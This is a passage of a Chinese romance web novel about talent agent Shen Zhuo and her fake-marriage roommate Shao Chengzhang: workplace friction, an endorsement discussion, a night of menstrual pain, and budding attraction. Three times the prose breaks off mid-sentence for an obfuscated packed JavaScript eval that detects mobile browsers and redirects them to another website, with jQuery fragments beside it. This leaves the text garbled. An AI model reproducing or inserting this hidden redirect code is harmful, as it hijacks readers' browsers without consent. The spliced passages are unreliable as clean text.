他是长得好看，可是娱乐圈里最不缺的就是长得好看的，而关司予当时已经25岁了，这个年龄才入行确实起步晚了，是沈灼当初执意要签下他。 她信誓旦旦和他说，关司予将来一定能出来。结果两年过去也只是上映了一部电影，虽然入围电影节，但杨瑞泽是个商人，他要关司予帮他赚钱而不是一堆虚名。 眼见着要散会，沈灼已经准备合上电脑离开，没想到杨瑞泽又叫住她，“沈灼啊，听说你结婚了？” 沈灼动作顿了一瞬，旋即抬眸看他：“是。” 杨瑞泽轻飘飘地说：“结婚是件喜事，忙是一定的，但是工作也得上心啊。” 靠，他这是什么意思？内涵她懈怠工作？ “杨总，您是觉得哪里还不满意。”沈灼硬是挤出一个笑容，直白了当地问。 “我听说你拒了《导演请指教》这档综艺？你说他入行两年多，要流量没流量，要话题没话题，本来能接的项目就不多，怎么还不去呢？” 沈灼微微一笑，但笑意不深：“你说得对，但就是因为他不碰流量，所以有些项目才有的谈。” “最近有什么项目吗？”杨瑞泽问。 “我最近刚找黎雅琦谈完，她正筹备一个项目，京影和鹰眼平台也都参与了，导演是乔新越，上部片子16亿票房，步繁差不多定下女一号了，男主我正在给司予争取。” 沈灼说的这班底配置十分优越。 “哦。”杨瑞泽听完怔了一下，明显没想到她已经在谈项目了。 “当然，还没最后签约，所以我没在会上讲。”沈灼说，“只要《雾灯》那边定下，关司予的档期优先留给他们。” 沈灼都已经懒得和他分析为什么拒绝那部综艺了。杨瑞泽早些年是做影视宣传起家的，在行业里累计些了人脉之后才开了一家经纪公司，整体业务还是偏向艺人宣传和商务，倘若说到影视这块，他还真没沈灼专业。 “行，你看着办吧。”杨瑞泽点点头，也不好再说什么。 出了会议室，沈灼和宣传总监Nadia一起去洗手间。 Nadia：“你看没看见杨狗刚刚被你怼的没话说的表情，太好笑了。”杨狗是她们私下给杨瑞泽的绰号。 沈灼失笑摇头，“哎，你知道我听他问我结婚这事，我还以为他要问我是不是要生孩子了。” “他可不想让你生，你休产假了谁来干活啊，巴不得咱们全年全天无休！”Nadia说，“说到放假，不过你这两年都没怎么休吧，可以用婚假攒个长点的假期了。” 这还真提醒沈灼了。 法定婚假可是有十天呢，加上十年的年假，她今年可以休二十天！ 不过令沈灼烦躁的是，黎雅琦一直没和她联系过，甚至步繁也没和她说自己到底递话了没有。《雾灯》的男主对她来说还是悬在头顶上的达摩克里斯之剑，一旦不成，关司予下半年直接空档。 她烦躁地解锁手机，打开微信，发现黎雅琦和步繁谁都没有给她发消息，又忍不住叹一口气，这种不能掌握主动权的感觉可真是不舒服。 回到办公室，姜珺给她发消息，说是自己接了个项目，还没签合同但是谈的差不多了，这即将是她第一个单独署名编剧的项目。高兴的同时又有点难过，如果不是邵成章，她今晚回家便可以和姜珺庆祝，吃顿大餐，而不是强行在公司加班。 林意敲门将外卖送过来，沈灼草草对付两口后打开了邮箱。现在陆续进入招聘季，邮箱里已经躺了几十封求职者的面试题，这套题是她出的，她需要筛选出可以进入第三轮面试的求职者。 走出办公楼的时候已经快十点了。 早上邵成章给了她一个门卡，她畅通无阻地上了楼。回家发现家里亮着小射灯，陈姨已经离开了，而邵成章还没回来。 沈灼随意将包扔在地板上，直接仰躺在沙发上，躺了半个小时才感觉自己终于歇过一口气。肚子咕噜咕噜响了，今晚点的外卖不合她胃口，她当时没吃多少现在已经有点饿了。伸手捞过手机，又点开了外卖软件，看来看去，她点了份炸鸡和快乐水。 等待外卖的时间，她四处溜达了一下看了看。瞥到客厅一角的生态缸，她走过去蹲下，歪着头看阿瑞斯。这会儿阿瑞斯还没睡，看见有人来，一眨眼就爬了过来 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“不用。”沈灼摆手说，“我是晚上没吃多少回来饿了才点的外卖，对了，你看下阿瑞斯是不是饿了啊？我感觉它好像有点烦躁，不过我没有养过爬宠不了解，所以也不敢喂它。”沈灼滑下高脚椅，一边说着便走向生态缸。 邵成章有点意外，没想到她竟然还会关注到阿瑞斯，他跟在她的身后，盯着她背影的眼神都柔软了。 他今日回来的确实晚，阿瑞斯显然已经有点饿了，看到主人它直接在食盆那里爬来爬去。 “每天喂五六颗干粮就好，可以提前泡一下水，鬃狮蜥还是很好养的。”他盯着她，嘴角有意无意的勾起，“以后如果我回来晚了，你可以帮我喂一下吗？” “啊？”沈灼看着邵成章一双深邃的眼睛，嘴巴已经先大脑做出了反应，“哦好啊，如果我比你先回来的话。” 邵成章又笑着说了声“好”。 沈灼是第一次看到爬宠进食，嘴巴一张，她几乎都没看到它的舌头，干粮就已经没了。邵成章告诉她阿瑞斯是可以出来玩的，只不过今天有点太晚了，阿瑞斯要休息了。他不知道按了哪里，生态缸里的灯灭了两盏，只留了一盏夜灯。 邵成章洗漱之后沈灼还在工作，他来到岛台倒水，顺手也给沈灼手边的空杯倒了半杯，递过去的时候听到她说了句一句谢谢。 他无意瞥到沈灼做的PPT，上面贴着关司予的图片，想到了前些天开会讨论和艺人合作的事，于是开口问道：“现在忙吗，有件事想请教你一下。”他穿着一套黑色真丝睡衣，倚靠在岛台上，长腿交叠，整个人很松弛。 “嗯哼？”沈灼应了声，但眼睛始终盯着屏幕正在做最后的检查，她从头到尾浏览了一遍PPT，没有问题保存导出，合上电脑。 “我有个朋友，就是借你Lumi盲盒的那位，他听说Dreamora公司好像想找明星合作，他有意找关司予，你觉得怎么样？” “Dreamora啊……”沈灼拿过杯子喝了口水，说，“不怎么样，司予他不合适。” 她几乎都没什么思考，就拒绝了他这位“朋友”的提议。 15. 第 15 章 “为什么？”邵成章有点意外沈灼竟然否定了这个提议。 “首先，司予出道也就两年，以他的流量变现来看放在娱乐圈并没有优势，但是像这种盲盒潮玩类的产品，如果想找明星合作，肯定消费核心是依赖粉丝经济对吧，那司予目前粉丝量级其实是比较难支撑品牌方期望的销量的。”沈灼很坦白，“而且司予其实一直是往电影方向发展，也是努力做青年实力派的人设，Dreamora这个品牌气质年轻，和他的人设调性也不是很符合。” 不得不说，沈灼分析的很有道理，这也是他之前考虑过的问题。 他笑了下，“我还以为只要是商务，经纪人都会来之不拒，毕竟你们带的艺人多接点项目，拿的佣金才会多。” “话是这么说啦，但是不要否认我的原则和专业好吧。我首先要对工作负责，对艺人负责，这是一个专业经纪人的基本素养。” 其实沈灼没说的是，若是关司予真和Dreamora合作，反而对他不利呢。 像潮玩联名合作，其实合作的周期短，话题保鲜期也有限，并无法为关司予积累可持续的话题，而且沈灼给他定的是往电影咖上走，多去电影节上刷脸，以后她肯定是要和国际品牌去谈合作的，现在过早接触这种潮玩合作，形象定位就会模糊，甚至拉低身价，很可能影响未来与国际高奢品牌的合作机会。 不过这些沈灼不能和邵成章说，万一他转头和那位“朋友”说了，自己可不落好，所以她只好降低姿态，说自家艺人配不上。 “你那位朋友是Dreamora公司的吗？”怪不得他一下子能找来那么多隐藏款，这个人情能还就还，沈灼接着说，“其实如果想找明星合作，有两个方向。” 邵成章挑眉，示意她往下说。 “我对这个行业不是很了解，但直觉应该还是女性消费比例高一点吧，预算充足，考虑顶流男艺人，他们的粉丝打投能力都比较强，销量转化非常高，而且粉丝对饭圈那一套手拿把掐，冲热搜完全不是问题，还能帮你们降低营销成本，白得的营销位。预算少，可以优先考虑新生代流量idol。” “听你的意思，最好是找男明星？” 沈灼点头，“当然了，男艺人粉丝的购买力确实更强。”她顿了顿，像是下意识地整理着思绪，“说来其实挺荒谬的。现在这行，哪怕是卖美妆、卖卫生巾，代言人都清一色地往男艺人里挑。只要长得好看，有点话题度，哪怕没代表作也能拉出一波热度。” “现在是粉丝决定了一切，尤其是女粉。她们爱得深，花得多。以前品牌要冲热搜得自己花钱，现在粉丝自己都能冲上去。真正有作品、有演技的女演员呢？资源反而没男艺人好，热度上不去，品牌也就不愿意赌。”她捧起杯子喝了口水，讽刺似地笑了笑，“连带着我们经纪人也得跟着现实低头，该争的资源还是得争，不然你不争，别人就拿去了。挺无语的。” “既然这样，你为什么不带女艺人帮她们多找一些项目，以你在行业里的人脉和资源应该不难办到。”邵成章问。 “你以为我不想吗？这并不是我有人脉和资源就能决定的，是资本决定的。现在的市场作品，就说电影吧，有几个是女性视角的？女性角色在里面不是当花瓶就是当工具人。对方信任我，和我合作几年，但接不到合适的戏，既浪费她的时间，我也没钱拿。那我也要吃饭的呀，我还有房贷要还呢。” 沈灼叹了口气，语气里透着几分无奈，“娱乐圈对女艺人是很不公平的。不过我带关司予还有一点，也是想看看自己有没有那个实力能培养一个新人出来。其实说起来，我是在工作里比较幸运的那种，从开始做经纪人就是在带比较成熟的艺人了，跟着他们才积累了不少人脉资源。” “现在带一个纯新人不会有落差吗？”沈灼带关司予，相当于从头开始，什么都要亲力亲为。 “当然有了，以前都是我等着平台或者资方那边递本子，不喜欢直接就推了，是我们挑他们。现在直接掉了个个，有时候得我求着他们问有没有好项目，不过我还是挺相信关司予的，也赌把看人的眼光。我觉得我眼光应该不差。”沈灼耸了耸肩，笑说，“好在关司予还是个挺省心的艺人，压力也不算太大。” 邵成章心想，从沈灼挑选丈夫的角度来看，她的眼光确实不错。他又有些好奇为什么她会想当经纪人呢，这其实是个出力不讨好的工作。 沈灼被他这么一问，有点愣住了，这么多年，除了多年前面试她的hr问过她这个问题，还真没别人问过了。她没急着回答，手握着的水杯不知不觉转了一圈。 过了几秒，她才慢慢开口：“可能最开始……也没想太多吧，难道大家上学的时候就能明确知道自己喜欢什么吗，一开始不都是先找个差不多的工作。”她语气轻缓，“后来干的时间长了，才发现我其实还挺喜欢的。” 她笑了一下，“就是……我挺享受那种一点一点把人带起来的过程。看着一个人从没人认识到有参演、有代表作、有粉丝，站到领奖台上……那感觉就像……”她手杵着下巴，眼睛微微眯起来，慢悠悠地说，“你种下一颗种子，然后看它破土发芽，慢慢长着，最后开出了一朵很美的花。” 邵成章偏了偏头，只是静静看着她，认真地听她讲。 “当然，也有很累的时候，很多时候你做的东西是看不见的。艺人红了是他们努力，艺人糊了是你不行。这行里没多少人会关心经纪人怎么熬夜改计划、四处求人、替人收拾烂摊子，毕竟大家都是这样。” 说到这里，她轻轻呼了口气，“但我还是想在这一行深耕。可能是因为我总觉得，如果有一天我能把一个人从零带到顶，TA能带给大家很好的作品，受到肯定和欢迎，会让我有种自己好像真的改变了些什么的感觉……让我觉得我的存在是有意义的。” 邵成章十分认同，说：“工作会带给你极大的价值感和成就感。” 沈灼点头：“是的。” 邵成章倏地笑了，眼神中透出对沈灼微妙的兴趣与探究。他就像一个独来独往前行的人，意外发现有人和自己走相似的路，有相似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629174|171859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目的地，让他忍不住多看她几眼。 “嗯，我明白。”邵成章垂眸，很欣赏地看着她。 沈灼对上他的视线，此刻看着他神情里那种安静而笃定的认真，她意识到他是真的有在认真地听她讲，虽然他只是说了很简单的三个字。 但不是客套，不是敷衍，也不是附和。 刚才她说的那些，早在年轻的时候，她不是没表达过，只不过大多被旁人嗤之以鼻。 他们总说，你还是年轻啊，工作而已那么理想主义干什么，好好赚钱就行了……而邵成章，和他们不一样，他会理解她，认同她，肯定她。一种奇异的情绪在心里慢慢涌上来，有点暖，也有点动容。 沈灼有点开心，她笑起来，突然又跳回到原先的话题，“不过我以后一定会带女艺人的，我会让她们从籍籍无名成为国际巨星。” 邵成章也笑了，很肯定地说，“会的。” 沈灼又想起来还有一个方向没说完，她是想推荐虚拟偶像或者是和游戏角色。这种基本就是没有什么塌房风险，而且都是二次元，要是做得好应该也不错。 最后她还答应邵成章如果有需要联系艺人她可以帮忙。 “谢谢，受教了。”沈灼给的意见对他来说很有用。 沈灼撇撇嘴，“啧”了声，“就说一个谢谢就完啦？” “那你要什么？”邵成章嘴角噙着笑看向她。 她忽然伸出手，掌心朝上，“咨询费邵老板付一下呗，我可是对你知无不言言无不尽欸。” 邵成章起身，用手轻拍了一下她的掌心，笑着说：“支付完毕。”说完就往卧室走去。 沈灼笑着“切”了声，回头冲他喊了一句：“邵老板，你好小气啊。” * 沈灼是在半夜被疼醒的，小腹的钝痛感实在是过于强烈，意识到发生了什么，她第一反应就是打开手机的手电筒，靠着那束光亮冲到洗手间。看到内裤上深深的一片红色，沈灼感觉天都塌了。她来的时候根本没带卫生巾，打开记录app看了下日子，这次竟然提前了六天。 沈灼赶紧点开外卖平台，下单了夜安裤和卫生巾以及救命的布洛芬。不知道到底有什么神奇的定律，每次快到日子时她吃完喝完冰的，月经就随之来访，现在她十分后悔晚上喝了一罐冰可乐。 邵成章觉浅，沈灼起身时他还没有完全睡熟，然而他等了许久发现沈灼还没回来，他起身打开灯发现牛油果绿的床单有一团红色，瞬间明白了。 已经在洗手间快接近半小时了，沈灼痛的直不起腰来，手机页面还停留在外卖平台，可是现在已经快凌晨三点了，虽然有24小时便利店开着，但是根本没有骑手接单…… 沈灼不停加价，依然没有骑手。 她十分后悔，怎么就没带一盒卫生巾呢？！ 就在她一筹莫展的时候，安静的卫生间突然响起了几声敲门声，她被吓了一跳，下意识地盯紧门。 “沈灼，你还好吗？”邵成章的声音在门外响起，一道厚厚的门隔着听着有些闷。 16. 第 16 章 她像是抓住救命稻草一般，对着他喊道：“不好意思，可以麻烦你帮我去买卫生巾吗？我肚子实在是太痛了。”沈灼已经顾不上尴不尴尬，麻不麻烦了，总要先出去而不是在这一直捂着肚子坐在马桶上。 门外没有回应，沈灼以为他不想帮忙，这情有可原但她还是存了最后一丝希望和他解释：“我也不想麻烦你，但是我点的外送一直没有骑手……”话说着，沈灼感觉又愤怒又绝望，这生理期真的太不懂事了！偏偏半夜来。 “我查了下这附近有24小时便利店，你把需要买的东西发给我。”邵成章的声音再次响起。 沈灼连忙道谢，她已经疼得没法支撑一只手打字了，干脆将外卖平台的订单截图发给他。 “好，那你稍等我一下。” 又等了二十分钟，沈灼再次听到敲门声。她躲在门后，从门缝里接过袋子，然后立即换了一条安睡裤，脏了的内裤直接丢进了垃圾桶。 邵成章烧了一壶热水，又兑上凉白开，准备好让沈灼吃药。他知道有的女生会痛经，但看到沈灼一张脸疼得刷白，额头都冒汗后才知道她会疼得这么严重。 他要扶着她坐到椅子上，她摇摇头却说不坐。 “我睡裤脏了，一会儿蹭到椅子上会弄脏的。”只不过她的睡衣是深海蓝色，不仔细看并看不出来沾上了血迹。 邵成章并没有理她，将她直接按到椅子上，“你现在身体不舒服，椅子脏了可以擦干净，有什么要紧？”他拆开药盒拿出一板布洛芬递给她，又端了温水过来，“先吃药。” 沈灼抿了抿唇，说了句“谢谢”。 吃下药，邵成章又扶着沈灼回屋，当她看到床单上的血迹之后才感到尴尬。她支支吾吾：“那个……” 邵成章打断她：“你去衣帽间换一下裤子，我来换床单。” “真的谢谢……”沈灼感动得简直都不知道该说什么了。 邵成章垂眼看着她：“你今晚已经说了很多次谢谢了，还能说点别的吗？” 是这样没错，可她除了说“谢谢”还能说什么呢？ 沈灼想了想又开口说：“好人一生平安。”脑子里想起来那张弯腰鞠躬九十度的表情包。 没想到她会这么说，邵成章直接笑了，“别说话了，还是省省力气吧。” 邵成章帮她拿来睡衣，又找出来干净的四件套，去卧室换。 沈灼换完睡裤慢腾腾地挪出去，想要帮忙，被邵成章制止，“还要等一会儿，你先在我那里坐一下吧。” 沈灼也确实帮不上忙，药效还没起作用。小腹坠痛她确实也站不住，于是坐在邵成章的床铺上。 “你为什么要换一整套啊？”明明只需要换个床单就行了，她才刚睡了两天，一点都不脏，感觉被人嫌弃了。 “因为颜色不统一我看着会很难受。”邵成章说。 “哦。”原来是有强迫症。 邵成章将换下来的四件套放到洗衣间，又套上干净的铺好床，等他抬头说好了的时候，才发现沈灼已经抱膝睡着了。 她的头枕在膝盖上，长发垂落，遮住了半边脸。沈灼长得好看，但不是那种靠妆容勾勒出来的精致，是那种越看越耐看的类型，她的脸型方圆，五官大气舒展，素着脸却怎么看都舒服。 他安静地站了一会儿，视线在她眉眼间逡巡，好一会儿才意识到自己看得竟有些出神了，他抿着嘴唇压下心绪，缓缓走近她。 “沈灼。”他低声唤了她两声。 她似乎是听见了，眉头微皱，嘴里含糊地哼了两声，却没醒，反而更往自己的膝盖缩了缩，又睡了过去。 他没再吵她，只是抬手小心地握住她的手腕，将她的手臂绕过自己的肩膀，然后另一只手探到她膝下，在她身体微微晃动的瞬间，轻轻把她整个人抱了起来。 她的体温贴上来那刻，他下意识屏住了呼吸。 她的头自然地靠在他肩颈处，呼吸温热，拂在他锁骨下方的皮肤上。他低头扫了一眼她睡着的脸，睫毛微颤，唇瓣轻张，像是不知梦到什么，眉心还轻轻皱着。 邵成章喉咙微紧，步子放得极轻，把她放到床上的那刻，他几乎是屏气凝神的。 沈灼似乎还是不太舒服，刚一触到床垫，她就下意识扭了扭身子，翻了个身侧躺过去，腿屈着，整个人蜷缩了起来。 四月底的夜还是有些许凉意，邵成章拉过被子盖在她身上，又将被角掖好。 沈灼醒来的时候还以为天没亮，窗帘拉的严严实实，没透出一丝光亮来，整个屋子黑漆漆的。 她伸了个懒腰，真丝材质的四件套滑接触到皮肤上有点微凉，也滑滑的，不是她熟悉的触感。 思绪一下子拉回几个小时前，她想起来了。 她麻烦邵成章凌晨三点多出去帮她买卫生用品和药，还让人家帮忙换四件套。最后她只记得她坐在地上，那她又是怎么到床上去的？ 难道是被他抱到床上去的？可是除了这个可能，沈灼也想不到其他的了。 脸忽然发烫，她又埋进被子里，深深吸了一口气，她闻到了床品上残留的洗衣液的味道，和她常用的花香不一样，是一丝丝木质调的气味，让人安心。 又躺了一会儿，她平复好心情，点开手机才发现已经过了十一点，她迅速爬起来，拉开窗帘，阳光刺眼。 她竟然睡了一上午？！ 将床铺好，沈灼发现床头柜上有一张黑色的卡，卡上还贴了一张便利贴，上面只简简单单写了三个字：咨询费。 沈灼仔细看了下，是一张酒吧的会员卡，她勾唇一笑，送的还蛮符合她的心意。 走出卧室，她听到厨房有声音，今天周末陈姨不在，沈灼往那边探身一看，才发现邵成章在厨房，整个人背对着她。 邵成章毫无征兆地转身，视线精准地锁定到沈灼，背后像是长了眼睛一眼就能看到她。他问：“现在肚子还痛吗？还需要吃布洛芬吗？” 沈灼点点头又摇摇头：“不怎么痛了，但还要吃。”布洛芬还放在岛台上，沈灼趁着空腹又续上一片，否则饭后吃药效会更慢。 “你喜欢吃什么？冰箱里有菜，你看看？” “你是要自己做饭吗？”沈灼愣住了，邵成章还会下厨？！ 邵成章点点头，走过去打开了双开门冰箱，拉开了蔬菜保鲜层。沈灼看了一眼，问他：“你喜欢吃茄子吗？” “你喜欢茄子就做茄子，还有什么想吃的？” “好啊。”沈灼笑了下，“你喜欢吃什么就做什么，我都行，也不是很饿。” 邵成章又拿出几种食材，说：“去洗漱吧，一小时后吃饭。” 沈灼点头：“好，那我一会儿过来帮忙。” “不用。” 沈灼以为他是担心她身体不舒服，解释道：“没事，吃了药就不痛了。” “不是。”邵成章摇头，“我不喜欢做事的时候旁边有人。” “……哦。”她在瞎感动什么？ 说是一小时就是一小时，桌上三菜一汤，色泽诱人，香气扑鼻。她惊呆了，难以置信地问：“都是你做的？” 邵成章轻轻“嗯哼”一声，好像在说，这对他来说根本不算什么。 她坐下，第一筷子便毫不犹豫夹向风味茄子。她本来只是期待一个“能吃”的水准，毕竟邵成章那张脸怎么看也不像会做饭的样子，但没想到一口下去，她竟有被惊艳到。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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盘子稳稳被沈灼抓住了，而她稳稳被邵成章托住了。 忽然间，两个人靠得极其近。她的视线不偏不倚，正正好好落在他下颌线上，甚至能闻到他身上的气味。 干净清透，不是香水，更像是残留着的沐浴露味道，很清淡，只在靠近的这一寸空气里流转。 沈灼感到后腰那只手隔着布料，却像是带着灼人的温度，透进她的肌肤。那一瞬间，像有一道极细的电流划过脊背，清晰又无处可逃。 她像触了电一样直接弹开，下意识一个肘击顶在邵成章的胸口上。 邵成章没想到沈灼这么大反应，胸口猝不及防的钝痛让他忍不住吸了口气。 “不好意思，我不是故意的。”沈灼愣愣地眨着眼睛，脸上浮现出一丝歉意，“那个，你没事吧？” “没事。”邵成章抬手揉了揉胸口，无语地笑了下，他喉结轻轻一动，“盘子给我吧。” 沈灼不自在地吸了口气，却发现自己呼吸全乱了节奏。 “那我就先回房间了。”她递过盘子，假装若无其事地离开了。 只有她自己知道，此刻的她，掌心发烫，脸颊发烫，耳尖也在发烫。 她没法辨别那是一种什么样的心绪，但她感到紧张，无措，让她罕见地无所适从。 这是她二十八年来从未有过的感觉。 她走得越来越快，仿佛只要快一点，便能甩开刚才那几秒的亲密错觉。随后，她几乎是逃似地离开厨房，回到了卧室。 邵成章盯着沈灼逃离的背影，忽然笑了笑。 17. 第 17 章 好热，好渴，她感觉身上一半血往上涌，一半血往下流。 一口气喝完床头剩下的半杯水，掌心下意识贴上胸口，她甚至有种想立刻给姜珺打电话的冲动。 过了一会儿，邵成章抱着洗干净的四件套走进来。他早上把换下的那套四件套扔进了洗衣机，现在已经烘干了。 沈灼都忘了这件事。她对自己有点无语，这一天到底是怎么了？ 或许是因为经纪人工作的原因，向来是沈灼照顾别人，将事情安排的井井有条的那一个，而且她一点也不习惯接受别人的照顾。 能自己做的事尽量不要麻烦别人，这是沈灼对待外人的准则之一。 然而这一天里，邵成章却一直是照顾她的人。 “发什么呆呢？”邵成章晃了晃怀里的床品，“过来帮我一起。” 沈灼“哦”了声，走过去帮邵成章叠床单被套，一人捏住两个角，抖落，对折，再对折。沈灼走上前将自己的这端递给他，指尖不可避免地微微触碰。 不过是一件琐碎的普通的小事，可现在也不知道怎么了，她总感觉所有的感官都像被无限放大了一样，哪怕这种毫无意义的细微的小动作，都让她十分在意。 可最让她慌乱的不是尴尬，而是她竟然感到有一点点雀跃。 是的，心里迸发出的是轻微的喜悦。她的心里像是有什么钻了进去，可她又不敢仔细看，只能小心翼翼地先藏起来，一边回避，一边又忍不住试探偷窥。 这不像她，一点也不像。 她感觉自己出问题了！ “你下午有其他安排吗？” “怎么了？”沈灼问。 邵成章抿着嘴唇顿了两秒，向她发出邀请：“下午想不想看电影？你那天说之前没看完的那部。” 沈灼第一天搬来的晚上，和邵成章交换片单的时候提过有一部电影，她很喜欢。当时她在电影院看了一半，结果因为工作不得不提前离场，并没看到结局，后来电影下线了，她一直想着要在网上看完，结果总是忘记。 沈灼没想到邵成章会记得，不过她本来是下午的计划的，她要整理一下近期热播剧的数据，分析最近的市场动态，但不急。 “好啊。”沈灼抬头望进一双墨色的眼瞳，不知怎么，就这么鬼使神差地答应了。 邵成章笑笑，让她十分钟后到影音室来。 沈灼说的是一部现实向爱情电影，整部电影都很平淡，导演和编剧用细腻的笔触刻画了两个陌生人从相遇相识相爱又分手，加上有村架纯和菅田将晖真实般的演技，让人看完忍不住唏嘘感慨。 邵成章微微侧眼，瞥到沈灼用手背擦眼泪的小动作，对于剧情他倒是没什么太大的波澜，反倒是沈灼的反应让他觉得有点好奇，怎么就哭了呢。 他默默抽了一张纸巾递过去，被发现流眼泪的沈灼有点尴尬，默不作声地将纸接过去。 邵成章又忍不住多看她几眼，睫毛打湿了，被屏幕映照的亮莹莹湿漉漉的。 有点可爱。 影片开始滚动字幕，邵成章才起身打开吸顶灯。 尽管早就知道电影的结局，沈灼还是忍不住感慨：“好可惜。” “为什么会可惜？”显然邵成章并不这么觉得，“他们分开是必然的。” 沈灼歪着头，想听邵成章的想法。 邵成章想了想：“他们看起来有很多相似的兴趣爱好，但三观并不相同，只不过是被标签化的东西给掩盖了。” “是这样没错，但是带入到现实，就连这种假性‘灵魂伴侣’都很难遇到，所以才会觉得可惜啊。”沈灼说到灵魂伴侣这个词的时候，伸出手做了个双引号的动作。 邵成章说：“灵魂伴侣在我看来是个虚假概念，其实最了解的自己的一定是自己本身，甚至一个人可能都不能完全了解自己，又怎么能指望和一个陌生人相处一段时间就了解自己呢？” 沈灼十分认同他的说法，世界上没有相同的叶子，又何况是思想复杂的人类。 “嗯哼，现在生活节奏这么快，其实很难有那个心力去认真的了解一个人。不过我有时候在想，现在的人是不是把亲密关系里的爱情部分捧得太高了或者说对恋人的期待太高了？”沈灼歪着头说。 “据我观察身边的朋友，她们对待朋友和男朋友，完全是两套标准。明明是一样的事，比如迟到，朋友迟到或许问题不大，但男朋友迟到，就会觉得对方不重视她，情绪直接爆炸。”她顿了顿，“但在我看来，友情和爱情是等高亲密关系的。爱情不应该被神圣化，也不应该成为对爱人提出无限要求的理由。” 邵成章说：“爱情比友情更强调唯一性。朋友可以有很多个，但恋人只能有一个。这种排他性和占有欲，很容易让人把恋人当成满足自我期待的对象。” “是的，而这恰恰是最容易出问题的地方。”沈灼看着邵成章说，“当对方达不到你的期待，就会失望。” “可对恋人完全不抱期待，大概是很难的事。”邵成章说，“或者说不要对恋人有超出标准过高的要求，就算对方没达到期待，也该及时说出来。沟通解决不了一切，但它是解决一切的起点。” 沈灼认为在某些程度上，邵成章和她是同频的。 她笑着打了个响指，“是这样，不过不管处于什么样的关系里，有问题都要及时沟通。受不了什么都不说总是要对方猜来猜去的人，很累。” 邵成章赞同地点点头，继续说，“所以我们住在一起，如果你感到有任何不舒服的地方，请你及时提出来，因为我猜不到。” 沈灼笑了一下，比了个“OK”。 在这一点上，她和邵成章是一致的。 看完电影，沈灼回到工作间处理工作。两个小时后，快到饭点，沈灼放下电脑，去客厅找邵成章问他想吃什么，至少要把欠下的午饭之情还了。 邵成章没在工作，他把阿瑞斯从生态箱里放出来了，正在和它玩呢。 沈灼看到阿瑞斯好奇心被勾起来，走过去蹲在了邵成章身旁，问道：“它会咬人吗？我能摸摸它吗？” “不会，鬃狮蜥的性格很温顺。”他看着阿瑞斯，又向它勾勾手指，示意再近一点。 阿瑞斯吧嗒吧嗒又走近两步，沈灼只要伸直手臂就能够到。邵成章先伸手摸了摸阿瑞斯的头部， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639891|171859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又摸了下它的下巴，“就这样。” 沈灼小心翼翼伸出手，指尖刚要碰到它的头，阿瑞斯突然微微偏了偏脑袋，她吓得下意识缩回手。 “没事。”他语气低柔，忽然伸出手，轻轻握住她的手腕。 沈灼还来不及反应，就被他稳稳地带着手往前引，指尖缓缓触到了阿瑞斯的脑袋。 那触感意外的干燥温暖，竟然不是想象中的冷冷的体感。不过更让她在意的，却是手腕上传来的那一圈温度。 一秒，两秒，三秒——心跳不知不觉慢了两拍，又忽然跳快。 邵成章没看她，视线还停留在阿瑞斯身上，却像是察觉到了什么，轻轻松开了手。 沈灼猛地回神，有点慌，有点乱，心里忽然生出一种逃跑的冲动。 为什么周末要留在这里呢？既然陈阿姨不在这里，她和邵成章也不需要假装夫妻，为什么她还要住在他的家里？ “欸……对了……我在想，要不我周末还是出去住吧。”她语气尽量装作轻松自然，却难掩眼神里的闪躲。家不能回，但是还可以去迟女士那里，再不济去住酒店也行。 邵成章偏头看她，显然有些意外：“为什么？” “就……本来我们住一起也是为了应付陈姨和你家里，周末她不在，我们也不需要继续这样吧？” 邵成章盯着她看了两秒，脸色肉眼可见地沉了下来：“你觉得和我一起住让你不舒服？” “不是……”沈灼急忙解释，“我是怕麻烦——” 邵成章冷声道：“哪里麻烦？” “我不是说你麻烦的意思啊，是我觉得可能太麻烦你了……”任谁被大晚上这么折腾一番都会觉得烦吧，可邵成章从来没对她展现出一丝不耐烦，甚至还给她做午饭，提醒她吃药……他们的关系让他对她做这些而感到难为情。 对沈灼来说，这些好和照顾有些越界了。 邵成章突然出声，打断了沈灼的思绪：“晚饭不需要考虑我。” 沈灼“哦”了声，和阿瑞斯说了拜拜之后便起身回屋了。 没多久，传来细微的“咔哒”声，是电子门锁的声音，他是出去了？ 沈灼晚上点的外卖，出去拿饭的时候她撇了一眼邵成章工作的那张桌子，人连带着大理石桌面上的电脑都不见了。 为马上的小长假，本该休息的周日调休需要上班，陈阿姨照例来到悦澜湾做早餐打扫卫生，言语间，她透过陈阿姨才晓得邵成章出差了。 这么临时？都不和她说一下吗？ 沈灼觉得这人真是有点冷漠，不过转念一想她和他又不是真的夫妻关系，他为什么要和她说，搞得像报备一样。 但再怎么说，他们还算室友呢，就算是普通的室友关系也会说一下的吧？ 沈灼有点不爽。 陈阿姨问她，邵先生出差几天，她差点露馅，及时反应说了个项目太复杂还不能确定。陈姨还说邵先生留了车钥匙给她。 